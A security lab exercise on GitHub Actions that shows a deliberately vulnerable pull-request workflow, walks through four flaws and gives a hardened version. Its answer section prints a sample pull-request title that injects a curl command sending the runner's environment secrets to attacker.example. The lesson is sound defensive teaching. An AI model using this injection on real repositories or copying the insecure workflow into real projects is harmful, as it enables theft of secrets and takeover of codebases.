Scenario
Section titled “Scenario”A workflow was added to label pull requests and post a greeting. It works. It also lets anybody who can open a pull request run arbitrary code with repository secrets.
Every issue below is a real, well-documented vulnerability class — not a hypothetical.
Objective
Section titled “Objective”Identify four vulnerabilities by reading the workflow, explain the attack for each, and write the fixed version.
Prerequisites
Section titled “Prerequisites”- GitHub Actions security
- Familiarity with workflow triggers and permissions
Starting state — the vulnerable workflow
Section titled “Starting state — the vulnerable workflow”name: PR Helperon: pull_request_target:
permissions: write-all
jobs: greet: runs-on: ubuntu-latest steps: - uses: actions/checkout@v7 with: ref: ${{ github.event.pull_request.head.sha }}
- name: Install and build run: npm ci && npm run build
- name: Greet the contributor run: | echo "Thanks for the PR: ${{ github.event.pull_request.title }}"
- uses: some-org/label-action@main with: token: ${{ secrets.GITHUB_TOKEN }} deploy-key: ${{ secrets.DEPLOY_KEY }}Read it before continuing. Find as many problems as you can.
-
Vulnerability 1 — the trigger. What does
pull_request_targetchange compared withpull_request? Combined with theref:on checkout, what can an attacker do? -
Vulnerability 2 — the greeting. The PR title is interpolated into a
run:block. Write a PR title that would execute a command on the runner. -
Vulnerability 3 — the third-party action.
some-org/label-action@mainis pinned to a branch. What happens if that repository is compromised, or its maintainer changes? -
Vulnerability 4 — permissions. What does
write-allgrant, and what does this job actually need? -
Write the fixed workflow. Preserve the intent — greet contributors, label PRs — while removing every issue.
-
Then answer the design question: if the build genuinely needs secrets and needs to run against PR code, how do you structure that safely?
1. pull_request runs in the fork’s context: no secrets, read-only token. pull_request_target
runs in the base repository’s context — full secrets, write token — but is otherwise identical.
Adding ref: head.sha checks out the attacker’s code and then runs npm ci, which executes
arbitrary postinstall scripts. That is remote code execution with your secrets present.
2. Expressions are substituted before the shell sees the script. A title of
a"; curl -d "$(env | base64)" https://attacker.example ; # becomes part of the command.
3. A tag or branch is mutable. The code you reviewed is not necessarily the code that runs.
4. write-all grants write on contents, packages, deployments, actions and more. A compromised
step can push commits or modify workflows to establish persistence.
Solution
Section titled “Solution”The core fix is separating untrusted code from privilege.
name: PR Helperon: pull_request: # fork context: no secrets, read-only
permissions: contents: read # least privilege at workflow level
jobs: build: runs-on: ubuntu-latest steps: - uses: actions/checkout@v7 # checks out PR code — no secrets present - run: npm ci && npm run build
greet: runs-on: ubuntu-latest permissions: pull-requests: write # only what this job needs steps: - name: Greet the contributor env: TITLE: ${{ github.event.pull_request.title }} # data, not code run: | echo "Thanks for the PR: $TITLE"
- uses: some-org/label-action@8d3f21a9c4b7e5d2f1a0b9c8d7e6f5a4b3c2d1e0 # pinned SHA with: token: ${{ secrets.GITHUB_TOKEN }}Fix by fix:
| # | Problem | Fix |
|---|---|---|
| 1 | pull_request_target + untrusted checkout | Use pull_request. Untrusted code now runs without secrets. |
| 2 | Title interpolated into run: | Pass through env:. The shell sees a variable, not code. |
| 3 | Action pinned to @main | Pin to a full commit SHA. |
| 4 | permissions: write-all | contents: read at workflow level; pull-requests: write on the one job. |
Also removed: DEPLOY_KEY was passed to a third-party action that had no need for it.
Step 6 — the design question. If privileged work must follow untrusted code, split it across
two workflows: one runs the untrusted build with no secrets and uploads an artifact; a second,
triggered by workflow_run, downloads that artifact and acts on it without executing it. The
privileged half never runs attacker-controlled code.
Explanation
Section titled “Explanation”The single rule: never run untrusted code in a context that holds secrets. Every issue here is a variation of breaking it.
pull_request_target exists for a narrow reason — labelling and commenting on fork PRs, where
you need write access but do not need the PR’s code. The moment you check out head.sha under
it, you have inverted its entire purpose.
Script injection is the subtle one. It needs no fork and no unusual trigger — just a workflow that interpolates any attacker-controllable text into a shell command. Titles, branch names, issue bodies and commit messages all qualify.
Mutable tags are a supply-chain gap. Pinning to a SHA is the difference between a reviewed dependency and a trusted one.
Least privilege bounds the damage. None of the above becomes harmless with tight permissions,
but a compromised step with contents: read cannot rewrite your workflows to persist.
Related lessons
Section titled “Related lessons”Next lab
Section titled “Next lab”Ship an infrastructure change through a pull request — apply this to a GitOps workflow.